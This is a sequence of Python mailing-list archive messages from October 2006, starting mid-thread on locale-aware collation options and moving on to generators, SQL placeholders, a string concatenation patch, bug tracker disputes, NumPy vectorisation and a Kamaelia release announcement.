self.flag & CAPS_FIRST: > >> s = s.swapcase() > > > > This is just coincidental; it relies on (lowercase)<(uppercase) on the > > locale collating sequence, and I don't see why it should be always so. > >The LC_COLLATE structure (in the python.exe C code I think) controls >the order >of upper and lower case during collating. I don't know if there is anyway to >examine it unfortunately. LC_COLLATE is just a #define'd constant. I don't know how to examine the collating definition, either. >If there was a way to change the LC_COLLATE structure, I wouldn't >need to resort >to tricks like s.swapcase(). But without that info, I don't know of >another way. > >Maybe changing the CAPS_FIRST to REVERSE_CAPS_ORDER would do? At least it's a more accurate name. There is an indirect way: test locale.strcoll("A","a") and see how they get sorted. Then define options CAPS_FIRST, LOWER_FIRST accordingly. But maybe it's too much trouble... > > You should try to make this part a bit more generic. If you are > > concerned about locales, do not use "comma" explicitely. In other > > countries 10*100=1.000 - and 1,234 is a fraction between 1 and 2. > >See the most recent version of this I posted. It is a bit more generic. > > news://news.cox.net:119/PNxZg.6714$fl.4591 at dukeread08 > >Maybe a 'comma_is_decimal' option? I'd prefer to use the 'decimal_point' and 'thousands_sep' from the locale information. That would be more coherent with the locale usage along your module. >Options are cheep so it's no problem to add them as long as they >make sense. ;-) > >These options are what I refer to as mid-level options. The programmer does >still need to know something about the data they are >collating. They may still >need to do some preprocessing even with this, but maybe not as much. > >In a higher level collation routine, I think you would just need to specify a >named sort type, such as 'dictionary', 'directory', 'enventory' and >it would set >the options and accordingly. The problem with that approach is the >higher level >definitions may be different depending on locale or even the field >it is used in. Sure. But your module is a good starting point for building a more high-level procedure. > >> The NUMERICAL option orders leading and trailing digits as numerals. > >> > >> >>> t = ['a5', 'a40', '4abc', '20abc', 'a10.2', '13.5b', 'b2'] > >> >>> collated(t, NUMERICAL) > >> ['4abc', '13.5b', '20abc', 'a5', 'a10.2', 'a40', 'b2'] > > > > From the name "NUMERICAL" I would expect this sorting: b2, 4abc, a5, > > a10.2, 13.5b, 20abc, a40 (that is, sorting as numbers only). > > Maybe GROUP_NUMBERS... but I dont like that too much either... > >How about 'VALUE_ORDERING' ? > >The term I've seen before is called natural ordering, but that is >more general >and can include date, roman numerals, as well as other type. Sometimes that's the hard part, finding a name which is concise, descriptive, and accurately reflects what the code does. A good name should make obvious what it is used for (being these option names, or class names, or method names...) but in this case it may be difficult to find a good one. So users will have to read the documentation (a good thing, anyway!) -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From horpner at yahoo.com Mon Oct 16 15:20:44 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Mon, 16 Oct 2006 19:20:44 GMT Subject: Need a strange sort method... References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> Message-ID: On 2006-10-16, Tim Chase wrote: > If you need it in a flat list, rather than as a list of > chunk_size lists (which are handy for iterating over in many > cases), there are ways of obtaining it, such as the hackish > > >>> sum([a[i::chunk_size] for i in range(chunk_size)], []) > [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] > > There are likely good recipes for flattening a list. I just > happen not to have any at my fingertips. Actually, there isn't a good recipe in Python for flattening a list. They all come out tasting like Circus Peanuts (Turkish Delight for you non-Yanks). -- Neil Cerutti From python.list at tim.thechases.com Wed Oct 4 15:38:56 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Wed, 04 Oct 2006 14:38:56 -0500 Subject: CGI Tutorial In-Reply-To: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> Message-ID: <45240DD0.3060706@tim.thechases.com> > I'm just building a Python CGI Tutorial and would appreciate > any feedback from the many experts in this list. First item of feedback...post something on which to give feedback, such as a link to the work in progress. :) -tkc From fredrik at pythonware.com Thu Oct 19 15:22:49 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 19 Oct 2006 21:22:49 +0200 Subject: Calling a definition In-Reply-To: <1161283383.663046.234850@k70g2000cwa.googlegroups.com> References: <1161283383.663046.234850@k70g2000cwa.googlegroups.com> Message-ID: "elake" (if that's supposed to be swedish, that should be "elak") wrote: > I have a piece of code that I need some help with. It is supposed (in > my mind at least) take two arguments, a start path and a file > extension. Then when called it should return each of the file paths > that are found matching the criteria. It is only returning the first > file that it finds. What am I doing wrong? you can only return from a function once for each call. > # this is in a file called findFile.py > def findFileExt(startPath, fileExt): > for root, dirs, files in os.walk(startPath): > for file in files: > if file.endswith(fileExt): > filePath = str(os.path.join(root, file)) > return filePath and here you're doing exactly that. if you expect to be able to loop over the return value from findFileExt, replace that "return" with a "yield" (this turns the function into a generator). if you want to return a sequence, change the loop so it appends stuff to a list, and return that list when you're done. From jmdeschamps at gmail.com Tue Oct 17 06:34:32 2006 From: jmdeschamps at gmail.com (jmdeschamps at gmail.com) Date: 17 Oct 2006 03:34:32 -0700 Subject: Any idea how to do this in Python? In-Reply-To: <1161079005.891146.283920@i42g2000cwa.googlegroups.com> References: <1161072836.884393.204810@f16g2000cwb.googlegroups.com> <1161079005.891146.283920@i42g2000cwa.googlegroups.com> Message-ID: <1161081272.835869.66120@i42g2000cwa.googlegroups.com> Lad wrote: > Dennis, > Thank you for your reply > You say: > >Pretend you are the computer/application/etc. How would YOU > > perform such a ranking? > That is what I do not know , how to perform such ranking. > Do you have any idea? > > Regards, > Lad. take a piece of paper to *play* the use-case you wrote about. Do things one step at a time, and figure what is needed, Example: 1- a user is on a web page # ok I need a web page 2- a user sends info to the server # ok the web page needs a input widget of sorts AND I need a server app 3- analyse (or decide ) what type of info the user may send (selected choices, free text, etc) 4- the user must be identified in some way (so to discriminate him from others), so the also must be that type of input... etc, etc At the end you will have a better picture of things required - then you build them ;-) Jean-Marc From paul at subsignal.org Sat Oct 28 06:44:39 2006 From: paul at subsignal.org (paul) Date: Sat, 28 Oct 2006 12:44:39 +0200 Subject: correct parameter usage for "select * where id in ..." In-Reply-To: <1162030538.183789.249570@e3g2000cwe.googlegroups.com> References: <1162026084.206897.216630@k70g2000cwa.googlegroups.com> <1162030538.183789.249570@e3g2000cwe.googlegroups.com> Message-ID: Frank Millman schrieb: > If you want it to handle a variable number of values, you will have to > programmatically construct the sql statement with the appropriate > number of parameters. >>> vals = (1,2,3,4,5) >>> sql = "select * from table where value in ("+','.join("?"*len(vals))+")" >>> print sql 'select * from table where value in (?,?,?,?,?)' cheers Paul From larry at hastings.org Tue Oct 3 11:11:29 2006 From: larry at hastings.org (Larry Hastings) Date: 3 Oct 2006 08:11:29 -0700 Subject: PATCH: Speed up direct string concatenation by 20+%! References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com> <451CD389.3010800@jessikat.plus.net> <1159540482.924744.164420@k70g2000cwa.googlegroups.com> <1159545255.339364.299020@k70g2000cwa.googlegroups.com> <1159546522.251704.301530@b28g2000cwb.googlegroups.com> <1159552048.354214.198180@e3g2000cwe.googlegroups.com> <1159762765.943691.139690@b28g2000cwb.googlegroups.com> <1159774531.004015.7390@e3g2000cwe.googlegroups.com> <1159853705.946422.70220@b28g2000cwb.googlegroups.com> <1159855375.951848.195790@m73g2000cwd.googlegroups.com> Message-ID: <1159888289.071764.274400@e3g2000cwe.googlegroups.com> John Machin wrote: > Don't you mean y = x[1] or something like that? y = "".join(x) looks > like a copy-paste error. You're right, by gum. Worse than that, my benchmark wasn't actually *doing* much of anything there; at the end of the run x was still length 0. That was sloppy, and I apologize. I cannot find a speedy equivalent to the 'xappend = x.append' trick for string concatenation using +. 'operator.__iadd__' is slower, a labored attempt using 'x = x("a").__add__' is better but still slower. So far, just calling 'x += "a"' is the fastest way, and that's 4.4s, still beat by the 'xappend = x.append' trick at 3.2s. > Playing the devil's advocate here: 10M adds each of a single byte > followed by 1 render doesn't seem very typical. How about [...] > Some of us have Windows boxes and don't have the necessary MS compiler. > Is there any chance of someone making a 2.5+patch Windows binary? I actually developed it on Windows. Here you go: http://larryhastings.com/programming/lch.python.2.5.concat.zip That contains the new python25.dll and my hacked-up benchmark script. Just back up your existing python25.dll, then unzip to your Python directory, and you're ready to rock. Enjoy, /larry/ From skip at pobox.com Fri Oct 13 09:08:45 2006 From: skip at pobox.com (skip at pobox.com) Date: Fri, 13 Oct 2006 08:08:45 -0500 Subject: Cannot force configure/setup.py to pick up location of readline (SFWrline) on Solaris 10 In-Reply-To: References: Message-ID: <17711.36829.198093.974709@montanaro.dyndns.org> Chris> However, make doesn't build a readline module and I think this is Chris> because setup.py is not taking the custom *FLAGS into account. Chris> Even if I export them as environment variables, I get no readline Chris> module. Try ./python setup.py build_ext --help There are a couple flags you can give to the build_ext command that direct to the appropriate include and library directories. It would be nice if distutils could be persuaded to listen to *FLAGS, but it doesn't. Maybe someone reading this would like to make it so. Skip From Luwian at gmail.com Mon Oct 23 16:49:49 2006 From: Luwian at gmail.com (Lucas) Date: 23 Oct 2006 13:49:49 -0700 Subject: How to get each pixel value from a picture file! Message-ID: <1161636589.022879.37000@f16g2000cwb.googlegroups.com> I want to change some pixel value in the picture file. how to do it? If I read the file in binary mode, a bit == a pixel ? Thanks From paul at boddie.org.uk Mon Oct 9 11:58:54 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 9 Oct 2006 08:58:54 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> <1160400990.785258.17750@m73g2000cwd.googlegroups.com> Message-ID: <1160409534.490599.90170@h48g2000cwc.googlegroups.com> A.M. Kuchling wrote: > On 9 Oct 2006 06:36:30 -0700, > Paul Boddie wrote: > > ... Meanwhile, despite the python.org codebase presumably running > > various commercial sites, ... > > Nothing should have given you this impression! python.org's > formatting is handled through a custom script called Pyramid, and if > you poke around with enough determination you can find the SVN > repository's URL. But it's never been released as a tarball, and > isn't used by any other sites. I believed that Pollenation had deployed other sites using the same technology. Certainly, they appear to be members of the Nevow community on which Pyramid somehow seems to be based. Once upon a time, I did promise to try and make Debian packages available for Pyramid so that people might be more inclined to use the toolchain and thus contribute python.org content, but given the complexity of the dependencies (Twisted 2, some YAML parser that conflicts with the Python bindings of the most widely-deployed YAML parser, Nevow, other stuff) I decided that my time was arguably better spent elsewhere, unfortunately. > As an experiment I tried formatting the python.org site using > rest2web; that looks promising, if I ever figure out how sidebars > work, and may someday replace Pyramid. The python.org redesign was another matter of major community controversy, of course, although I don't have as much to say on that matter. One day, the python.org Wiki may have invaded enough of the visible "reference space" on the site to make the fa?ade so thin as to be dispensible, although I'm certainly not compaigning for such a thing to happen. Paul From makerjoe at gmail.com Tue Oct 24 12:51:09 2006 From: makerjoe at gmail.com (makerjoe) Date: 24 Oct 2006 09:51:09 -0700 Subject: python servlet engine In-Reply-To: <453dca4b$0$22735$426a34cc@news.free.fr> References: <1161652946.506350.207550@b28g2000cwb.googlegroups.com> <453dca4b$0$22735$426a34cc@news.free.fr> Message-ID: <1161708669.336399.323340@f16g2000cwb.googlegroups.com> hi bruno according to the one most used over the python developers community and/or the one who has the easier implementation method makerjoe Bruno Desthuilliers ha escrito: > makerjoe wrote: > > hi, all > > i would like to know which is the best PSE > > "best" according to what metrics ? > > > i have to choose to use > > servlets with mod_python in my HRYDROGEN project > > (http://makerjoe.sytes.net/pycrud/query.psp) > > > > > -- > bruno desthuilliers > python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for > p in 'onurb at xiludom.gro'.split('@')])" From aahz at pythoncraft.com Sun Oct 8 00:10:34 2006 From: aahz at pythoncraft.com (Aahz) Date: 7 Oct 2006 21:10:34 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <0BQVg.138807$zy5.1859480@twister1.libero.it> <2vXVg.139282$_J1.908700@twister2.libero.it> Message-ID: In article <2vXVg.139282$_J1.908700 at twister2.libero.it>, Giovanni Bajo wrote: >Aahz wrote: >> Giovanni removed his own attribution: >>> >>> Are you ever going to try and make a point which is not "you are not >>> entitled to have opinions because you do not act"? Your sarcasm is >>> getting annoying. And since I'm not trolling nor flaming, I think I >>> deserve a little bit more of respect. >> >> IMO, regardless of whether you are trolling or flaming, you are >> certainly being disrespectful. Why should we treat you with any more >> respect than you give others? > >Disrespectful? Because I say that I don't agree with some specific >requirement, trying to discuss and understand the rationale behind it? *snort* Now you're trying to dodge responsibility for your own words. Normally I'd be inclined to cut you some slack because English isn't your native language, but it's clear that you're deliberately trying to write emotionally to encourage other people to flail around. Here are again some of the things you've written in this thread: Does this smell "Bitkeeper fiasco" to anyone else than me? I am impressed you do not want to understand the "why" most bug reports submitted by users go totally ignored for several years, That adds up to a clear summation of disprespect in my view. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "If you don't know what your program is supposed to do, you'd better not start writing it." --Dijkstra From misterwang at gmail.com Tue Oct 17 12:12:53 2006 From: misterwang at gmail.com (Peter Wang) Date: 17 Oct 2006 09:12:53 -0700 Subject: Python component model In-Reply-To: <1161066886.872563.150970@e3g2000cwe.googlegroups.com> References: <1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net> <1160538736.856864.175990@i42g2000cwa.googlegroups.com> <1160699534.615400.115130@i42g2000cwa.googlegroups.com> <1161066886.872563.150970@e3g2000cwe.googlegroups.com> Message-ID: <1161101573.420548.276270@e3g2000cwe.googlegroups.com> Ilias Lazaridis wrote: > Peter Wang wrote: > > Ilias Lazaridis wrote: > > > what about persistency? > > > > Um... what about it? > > " > As far as I can see, there's no persistency binding available. > > Is one planned? > " > http://groups.google.com/group/comp.lang.python/msg/dbdaedc68eee653a This thread was just some name-calling between you and Robert Kern, but didn't really provide any details. I guess I'm too dumb to understand the question... Does pickle not work for you? What is a "persistency binding"? -peter From sturlamolden at yahoo.no Wed Oct 25 14:38:40 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 25 Oct 2006 11:38:40 -0700 Subject: unsigned 32 bit arithmetic type? In-Reply-To: References: <453F4A52.3050200@v.loewis.de> <1161797145.981948.123730@b28g2000cwb.googlegroups.com> Message-ID: <1161801520.091880.290030@e3g2000cwe.googlegroups.com> Robin Becker wrote: > it's probably wonderful, but I don't think I can ask people to add numpy to the > list of requirements for reportlab :) Maybe NumPy makes it into the core Python tree one day. At some point other Python users than die-hard scientists and mathematicans will realise that for and while loops are the root of all evil when doing CPU bound operations in an interpreted language. Array slicing and vectorised statements can be faster by astronomical proportions. Here is one example: http://tinyurl.com/y79zhc This statement that required twenty seconds to execute dim = size(infocbcr); image = zeros(dim(1), dim(2)); for i = 1:dim(1) for j = 1:dim(2) cb = double(infocbcr(i,j,2)); cr = double(infocbcr(i,j,3)); x = [(cb-media_b); (cr-media_r)]; %this gives a mult of 1*2 * 2*2 * 2*1 image(i,j) = exp(-0.5* x'*inv(brcov)* x); end end could be replaced with an equivalent condensed statement that only required a fraction of a second: image = reshape(exp(-0.5*sum(((chol(brcov)')\ ... ((reshape(double(infocbcr(:,:,2:3)),dim(1)*dim(2),2)')... -repmat([media_b;media_r],1,dim(1)*dim(2)))).^2)'),dim(1),dim(2)); This was Matlab, but the same holds for Python and NumPy. The overhead in the first code sniplet comes from calling the interpreter inside a tight loop. That is why loops are the root of evilness when doung CPU bound tasks in an interpreted language. I would think that 9 out of 10 tasks most Python users think require a C extension is actually more easily solved with NumPy. This is old knowledge from the Matlab community: even if you think you need a "MEX file" (that is, a C extension for Matlab), you probably don't. Vectorize and it will be fast enough. From Jeff.Demel at JavelinDirect.com Wed Oct 4 18:05:31 2006 From: Jeff.Demel at JavelinDirect.com (Demel, Jeff) Date: Wed, 4 Oct 2006 17:05:31 -0500 Subject: Where is Python in the scheme of things? Message-ID: <136ED738BD4F1545B97E4AC06FF63707199FEB@DMSP-MSG-EVS01.mail.pvt> Tim Chase wrote: > >Visual Basic compared to Python >------------------------------- >VB shares some interesting aspects with Python...namely it's much >more readable than the other two. It's syntax is clunky at best, >with goto's, and cobbled-on exception handling (at least in >VB-Classic, as opposed to VB.Net with which I have no experience, >thank goodness). It's good for hammering together a quick form >and dropping some code behind it. However, it's not exactly >portable to other platforms (though there is the Gambas project >that offers VB-ish development on *nix platforms). It's not >terribly object-oriented, so doing OO-related stuff is next to >impossible. Functions aren't first-class objects, so you have to >do some funky workarounds. I don't know anything about the Gambas project, but your evaluation here of VB sounds like you may not have seen it in 5 or 6 years. Try VB.NET and see. Good OO and exception handling. Fast development. Clean looking code. GoTos are a thing of the far past, hell I didn't even use them in VB6. Of course, I do prefer Python. And so will you, even if you check out VB. I just didn't want to see incorrect information on VB get spread like that. There are enough real problems with it. :) -Jeff This email is intended only for the individual or entity to which it is addressed. This email may contain information that is privileged, confidential or otherwise protected from disclosure. Dissemination, distribution or copying of this e-mail or any attachments by anyone other than the intended recipient, or an employee or agent responsible for delivering the message to the intended recipient, is prohibited. If you are not the intended recipient of this message or the employee or agent responsible for delivery of this email to the intended recipient, please notify the sender by replying to this message and then delete it from your system. Any use, dissemination, distribution, or reproduction of this message by unintended recipients is strictly prohibited and may be unlawful. From paul at boddie.org.uk Fri Oct 6 14:40:30 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 6 Oct 2006 11:40:30 -0700 Subject: How can I correct an error in an old post? References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> Message-ID: <1160160030.754852.295490@i42g2000cwa.googlegroups.com> Tim Roberts wrote: > > Although it might be mirrored on a web site somewhere, this is a Usenet > newsgroup. It is impossible to "close" a thread. The concept simply does > not exist. Apparently, the fashionable approach to "closing a thread" is to post a critique of thread contributors to one's blog and then finish off with the words, "Please stop." http://bright-green.com/blog/2006_10_05/python_tracker_fud.html Paul From ms at cerenity.org Sun Oct 1 07:29:37 2006 From: ms at cerenity.org (Michael) Date: Sun, 01 Oct 2006 12:29:37 +0100 Subject: [ANNOUNCE] Kamaelia 0.5.0 Released - now enhanced by Summer of Code :-) Message-ID: <451fa865$0$24476$ed2e19e4@ptn-nntp-reader04.plus.net> Hi! Kamaelia 0.5.0 marks a major stepping point for the Kamaelia project. It means we officially have coverage over almost all the core areas we want in version 1.0, with some substantial and useful subsystems in the form of network delivery (tcp, udp, multicast servers), and interactive capabilties (tk, pygame, opengl integration), and video (eg Freeview, DVB-T, Dirac) along with a visual tool for bolting these systems together visually, whilst making it more /natural/ to work with concurrency. It also marks the first release where the number of external contributors to the release outweighs developers from inside the BBC, meaning this release really does belong to the Google Summer of Code students who also worked on it. They've done some really cool interesting stuff, and that's really the focus of this release, and written their own announcement, so in Ryan's words from his blog, (http://tinyurl.com/o9te3): """ Kamaelia 0.5.0 Released! Kamaelia is an intuitive way to structure applications -- essentially as a network of components which talk to each other. This model gives natural concurrency (each component can run separately) and makes building software very visual. It's an open-source BBC Research project, originally designed for rapid development of server software. If you've used Unix pipes, Kamaelia is like those implemented in Python. If you want to know more about the theory read the one-page introduction [2] on the Kamaelia website. [2] http://kamaelia.sourceforge.net/Introduction.html Here's a taster of what a Kamaelia application looks like: (built with the GUI) [ Screenshot: http://photos1.blogger.com/blogger2/7070/3507/1600/composer-filedownloader.png ] And here's some equivalent Python code: Pipeline( ConsoleReader(eol=""), SimpleHTTPClient(), SimpleFileWriter("downloadedfile.txt"), ).run() Those 5 lines of Python give you a console-based HTTP downloading program (like wget or curl but with less options) using existing components. The ConsoleReader sends lines of text (URLs) the user enters to the HTTP client, which fetches the associated page. It then forwards on its contents to the file writer. It's as simple as that. You can also write your own components from scratch and use them with the existing ones. Version 0.5.0 is a major release - lots of functionality has been added from Google Summer of Code 2006. Key highlights of this release: * BitTorrent support (using the official BitTorrent client) - includes preliminary 'streaming over BitTorrent' support, can be used as a P2P backend in your own Kamaelia applications. [ screenshot in blog entry ] * HTTP client and nascent seaside-style pure-python webserver * OpenGL (e.g. the checkers/draughts board on the right) http://photos1.blogger.com/blogger2/7070/3507/400/thfcheckers.0.png {{{ http://kamaelia.sourceforge.net/t/Dirac3D.png }}} * Strong DVB (freeview TV) support on Linux - including the foundations of a PVR. {{{cf http://kamaelia.sourceforge.net/KamaeliaMacro.html}}} * Collaborative whiteboarding with audio (speex encoded) - draw and talk together over the internet. {{{To be featured in next month's Linux Format}}} * Enhanced visual composition of Kamaelia systems - create and link components on screen, see the code produced (the screenshot near the top of the article) For more information see the Kamaelia[3] website. You can get a copy of Kamaelia and Axon from Sourceforge, together with most of the dependencies[4] in the mega bundle. If you have any problems or questions, just pop along to #kamaelia on irc.freenode.net. [3] http://kamaelia.sourceforge.net/Home [4] http://sourceforge.net/project/showfiles.php?group_id=122494&package_id=183774&release_id=451251Hi! Kamaelia 0.5.0 marks a major stepping point for the Kamaelia project. It means we officially have coverage over almost all the core areas we want in version 1.0, with some substantial and useful subsystems in the form of network delivery (tcp, udp, multicast servers), and interactive capabilties (tk, pygame, opengl integration), and video (eg Freeview, DVB-T, Dirac) along with a visual tool for bolting these systems together visually, whilst making it more /natural/ to work with concurrency. This release is massively enhanced by the work produced by Google Summmer of Code students who worked with us over the summer. They've done some really cool interesting stuff, and that's really the focus of this release, and written their own announcement, so in Ryan's words from his blog, (http://tinyurl.com/o9te3): """ Kamaelia 0.5.0 Released! Kamaelia is an intuitive way to structure applications -- essentially as a network of components which talk to each other. This model gives natural concurrency (each component can run separately) and makes building software very visual. It's an open-source BBC Research project, originally designed for rapid development of server software. If you've used Unix pipes, Kamaelia is like those implemented in Python. If you want to know more about the theory read the one-page introduction [2] on the Kamaelia website. [2] http://kamaelia.sourceforge.net/Introduction.html Here's a taster of what a Kamaelia application looks like: (built with the GUI) [ Screenshot: http://photos1.blogger.com/blogger2/7070/3507/1600/composer-filedownloader.png ] And here's some equivalent Python code: Pipeline( ConsoleReader(eol=""), SimpleHTTPClient(), SimpleFileWriter("downloadedfile.txt"), ).run() Those 5 lines of Python give you a console-based HTTP downloading program (like wget or curl but with less options) using existing components. The ConsoleReader sends lines of text (URLs) the user enters to the HTTP client, which fetches the associated page. It then forwards on its contents to the file writer. It's as simple as that. You can also write your own components from scratch and use them with the existing ones. Version 0.5.0 is a major release - lots of functionality has been added from Google Summer of Code 2006. Key highlights of this release: * BitTorrent support (using the official BitTorrent client) - includes preliminary 'streaming over BitTorrent' support, can be used as a P2P backend in your own Kamaelia applications. [ screenshot in blog entry ] * HTTP client and nascent seaside-style pure-python webserver * OpenGL (e.g. the checkers/draughts board on the right) http://photos1.blogger.com/blogger2/7070/3507/400/thfcheckers.0.png {{{ http://kamaelia.sourceforge.net/t/Dirac3D.png }}} * Strong DVB (freeview TV) support on Linux - including the foundations of a PVR. {{{cf http://kamaelia.sourceforge.net/KamaeliaMacro.html}}} * Collaborative whiteboarding with audio (speex encoded) - draw and talk together over the internet. {{{To be featured in next month's Linux Format}}} * Enhanced visual composition of Kamaelia systems - create and link components on screen, see the code produced (the screenshot near the top of the article) For more information see the Kamaelia[3] website. You can get a copy of Kamaelia and Axon from Sourceforge, together with most of the dependencies[4] in the mega bundle. If you have any problems or questions, just pop along to #kamaelia on irc.freenode.net. [3] http://kamaelia.sourceforge.net/Home [4] http://sourceforge.net/project/showfiles.php?group_id=122494&package_id=183774&release_id=451251 """ -- {{{couple of added comments above added in like this}}} Other: * Axon has also been updated to 1.5.1 with enhancements to threaded components. * The current new MegaBundle version including all the dependencies is now 1.4.0! Download here: http://tinyurl.com/lfhxq * Kamaelia is licensed under the MPL/GPL/LGPL tri-license NOTE: The Megabundle is the recommended way of getting hold of Kamaelia, since given Kamaelia can act as glue between systems, it's useful to know which versions we're testing with should you encounter problems so and the detailed set of changes can be found here: http://tinyurl.com/nf5gk Kamaelia is heavily based on python generators (they're not scary, really [5]), but also support threaded components and is designed to work with any version of python since python 2.2a1, and is not limited to Python 2.5. [5] http://kamaelia.sourceforge.net/MiniAxon/ Have fun! Michael -- Michael Sparks, Kamaelia Project Lead http://kamaelia.sourceforge.net/Home blog: http://yeoldeclue.com/blog From marco.lierfeld at rwth-aachen.de Fri Oct 13 03:27:49 2006 From: marco.lierfeld at rwth-aachen.de (Marco Lierfeld) Date: Fri, 13 Oct 2006 09:27:49 +0200 Subject: Pickling an instance of a class containing a dict doesn't work References: <4p6vk6Fh2jevU1@news.dfncis.de> <1160662300.159122.20520@m7g2000cwm.googlegroups.com> <1160662416.716488.19740@k70g2000cwa.googlegroups.com> <4p72coFhibirU1@news.dfncis.de> Message-ID: <4p8tflFhpmkqU1@news.dfncis.de> Peter Otten wrote: > Chances are you have inadvertently created an /instance/ attribute > build_steps which was then saved: > > s = subproject() > # ... > s.configuration["name"] = "my dinner" # modifies the class attribute > s.build_steps = ["hunt", "kill", "cook"] # creates an instance attribute Yes, now I see. That's the way I filled the dict and the list. Thank you for the explanation :) Marco From rpdooling at gmail.com Mon Oct 23 08:11:02 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 23 Oct 2006 05:11:02 -0700 Subject: sending vim text through Python filter In-Reply-To: <1161599745.935325.210460@m73g2000cwd.googlegroups.com> References: <1161550040.309135.250940@h48g2000cwc.googlegroups.com> <1161599745.935325.210460@m73g2000cwd.googlegroups.com> Message-ID: <1161605461.903268.293110@e3g2000cwe.googlegroups.com> > You'll have to use :%!python sort.py to get the filter to work. Damn. I should've thought of that. Then again, why would I when sort.py works fine from the windows commandline. Thanks a lot! That does the trick. rd From miles.chris at gmail.com Sun Oct 15 11:08:29 2006 From: miles.chris at gmail.com (Chris Miles) Date: Sun, 15 Oct 2006 16:08:29 +0100 Subject: Cannot force configure/setup.py to pick up location of readline (SFWrline) on Solaris 10 In-Reply-To: <45324818$0$22621$9b622d9e@news.freenet.de> References: <45324818$0$22621$9b622d9e@news.freenet.de> Message-ID: <45324EED.7030802@gmail.com> Martin v. L?wis wrote: > You need to use GNU make for that to work. The build regenerates the > makefile, but Sun make doesn't recognize the change. There was a message > telling you so. Thanks Martin, you are totally correct. Using gmake avoids the problem. > Also, your original complaint wasn't that readline isn't considered, > but that setup.py didn't find it even though configure did. A patch > fixing that has a higher chance of being accepted than a patch adding > /opt/sfw to the standard search path (which is really a decision > Sun should take, not the Python maintainers - in absence of a Sun > change, it's then the local administrator who decides). Fair point. If time permits I'll look into constructing such a patch. Cheers, Chris -- http://chrismiles.info/ From ptmcg at austin.rr._bogus_.com Sat Oct 28 06:45:18 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Sat, 28 Oct 2006 10:45:18 GMT Subject: Arrays? (Or lists if you prefer) References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com> <1161585837.292211.233680@i42g2000cwa.googlegroups.com> Message-ID: <2xG0h.30726$ta3.27599@tornado.texas.rr.com> wrote in message news:1161585837.292211.233680 at i42g2000cwa.googlegroups.com... > Paul McGuire wrote: >> As an example of using pyparsing, I chose a simple text adventure >> application, and had to create a 2-D grid of rooms. The presentation >> materials are online at http://www.python.org/pycon/2006/papers/4/, and >> the >> source code is included with the examples that ship with pyparsing > > I read your entire thing, but how much stuck is a testimate to how much > I have yet to learn. Also, I didn't see the source code or downoad or > anything there. Where is it again? > > Thanks for the responces. > Download pyparsing at http://sourceforge.net/projects/pyparsing . Be sure to download either the source installation or the doc installation - the windows binary install omits the doc and example files. The pyparsing home page is at http://pyparsing.wikispaces.com. -- Paul From pydecker at gmail.com Tue Oct 24 07:58:02 2006 From: pydecker at gmail.com (Peter Decker) Date: Tue, 24 Oct 2006 07:58:02 -0400 Subject: python GUIs comparison (want) In-Reply-To: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> Message-ID: On 23 Oct 2006 22:07:39 -0700, jiang.haiyun at gmail.com wrote: > Now i began to learn GUI programming. There are so many > choices of GUI in the python world, wxPython, pyGTK, PyQT, > Tkinter, .etc, it's difficult for a novice to decide, however. > Can you draw a comparison among them on easy coding, pythonish design, > beautiful and generous looking, powerful development toolkit, and > sufficient documentation, .etc. > It's helpful for a GUI beginner. > Thank you. I've used several, and I think that Dabo (http://dabodev.com) is the best choice. Dabo is an entire application framework, but you can just use the dabo.ui parts if that's all you need. Then when you are no longer a beginner and you want to develop more complex apps, you won't need to change tools. -- # p.d. From jsanga at cox.net Thu Oct 12 20:48:37 2006 From: jsanga at cox.net (mzdude) Date: 12 Oct 2006 17:48:37 -0700 Subject: Appropriate way to quit Tkinter References: <1160675883.753402.70430@i3g2000cwc.googlegroups.com> Message-ID: <1160700517.014505.304880@b28g2000cwb.googlegroups.com> Fredrik Lundh wrote: [snip] > works for me. are you perhaps running this under some kind of IDE that > keeps the process running even after the program has terminated? > It works the same way if I run from IDLE or from the DOS command prompt. From fredrik at pythonware.com Mon Oct 16 13:28:15 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 16 Oct 2006 19:28:15 +0200 Subject: Strange Behavior In-Reply-To: <1161018642.676.34.camel@dot.uniqsys.com> References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com> <1161018642.676.34.camel@dot.uniqsys.com> Message-ID: Carsten Haese wrote: > I think this statement needs to be clarified. The binding of "data" to > the empty list *does* happen at runtime, not at compile time. However, > the binding happens only once, when the "def" statement is executed, as > opposed to every time the __init__ function is called. to be precise, it happens every time the "def" statement is executed. From mithrond at gmail.com Sun Oct 22 04:27:48 2006 From: mithrond at gmail.com (mithrond at gmail.com) Date: 22 Oct 2006 01:27:48 -0700 Subject: a question about MS Windows Clipboard to decrease cpu usage. Message-ID: <1161505667.892022.72820@f16g2000cwb.googlegroups.com> hello, I want to record the content of windows'clipboad, after search c.l.p. I got some practical answer such as http://groups.google.com/group/comp.lang.python/browse_thread/thread/57318b87e33e79b0/a7c5d5fcbd4eb58a I have create my small script, it can get clipboard preliminary. but now i had a trouble, I use win32gui.PumpWaitingMessages() in while True: so the script use 